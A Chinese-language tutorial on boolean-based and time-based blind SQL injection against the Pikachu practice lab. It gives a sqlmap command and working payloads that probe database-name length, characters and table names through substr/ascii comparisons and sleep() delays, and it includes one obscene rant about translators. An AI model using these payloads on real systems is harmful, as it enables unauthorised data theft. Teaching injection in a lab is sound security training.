LOADING

布尔盲注和时间盲注

网络安全

什么是盲注

在有些情况下,后台使用了错误消息屏蔽方法屏蔽了报错
此时无法在根据报错信息来进行注入的判断
根据表现形式的不同,盲注又分为

  • based boolean 基于布尔盲注
  • based time 基于时间盲注

建议使用sqlmap来进行注入

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs

手动注入非常麻烦,后面原理不想看的可以不看

based boolean 基于布尔盲注

布尔型Boolean只有两个值,true/false

😅这布尔翻译的什么逼名称,信达雅没一个对上的,直接音译还要译者干什么,这种译者就应该把头塞进他妈逼里边用逼水洗洗脑子 臥槽滿屏幕片假名鬼看得懂啊.jpg

特征:

  1. 没有报错信息
  2. 不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)
  3. 在正确的输入下,输入and 1=1/and 1=2发现可以判断 (1=1为真,1=2为假)

已知输入正确回复你答对了,输入错误回复你答错了,现在来攻破这个数据库吧!🤓

# 正确输入:                 # 回显:
kobe' and 1=1 #            # your uid:3
                           # your email is: kobe@pikachu.com

# 错误输入                  # 回显:
kobe' and 1=2 #            # 您输入的username不存在,请重新输入!

小知识

sql: substr函数用法

substr(str,pos,len)

pos开始的位置,截取len个字符

substr(string ,1,3) 
# 结果为: str

substr(string, -1,3) 
# 取string右边第1位置起,3字长的字符串。显然右边第一位置起往右不够3字长。
# 结果只能是: g

substr(string, -3,3)
# 取string右边第3位置起,3字长的字符串。
# 结果为: ing
substr(str,pos)

pos开始的位置,一直截取到最后

substr(string ,4) 
# 从右第4位置截取到最后
# 结果是: ing

sql: length函数用法

length(str)

计算单位:字节 一个数字或字母一个字节

  • utf8编码:一个汉字三个字节
  • gbk编码:一个汉字两个字节
select length('123456百度');
# utf8:12
# gbk:10

sql: char_length函数用法

计算单位:字符 不管汉字还是数字或者是字母都算是一个字符

select char_length('123456百度');
# 返回值:8

通过length()<>char_length()可以用来检验是否含有中文字符

实操

通过不断比较判断数据库名的长度

# database名是root,长度为4
# 构造命令
select length(database())>5;
# 返回0
select length(database())<5;
# 返回1
select length(database())=5;
# 返回1
# 构造payload
kobe' and length(database())=4 # 注意比较

数据库名的长度比出来了

通过ascii码比较判断数据库名的字符

# 构造命令
select ascii(substr(database(),1,1))>113 # 注意比较
# 构造payload
kobe' and ascii(substr(database(),1,1))>113 # 注意比较

数据库名的字符的ascii码一个个比出来了

更进一步

select table_name from information_schema.tables where table_schema=database() limit 0,1
# 返回当前数据库的第一个表名

用上面这个命令替换database()函数

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>113 # 注意比较
# >113返回0,<113返回1,慢慢比吧

based time 基于时间盲注

特征:

只有一种回显,无法判断是否正确,被数据库冷暴力了😭

实操

通过sleep()函数延时,判断是否注入成功
按下浏览器F12,查看网络模块,有一个时间列表,这个就是响应时间

# payload
kobe' and sleep(5) #
# sqli_blind_t.php?name=kobe%27+and+sleep%285%29+%23&submit=%E6%9F%A5%E8%AF%A2	200	document	其他	34.1 kB	5.02 秒

可以看到,响应时间5.02 秒,说明注入成功

# payload
kobe' and if((substr(database(),1,1))='r',sleep(5),null)#

和布尔盲注一样,替换database()函数,慢慢比吧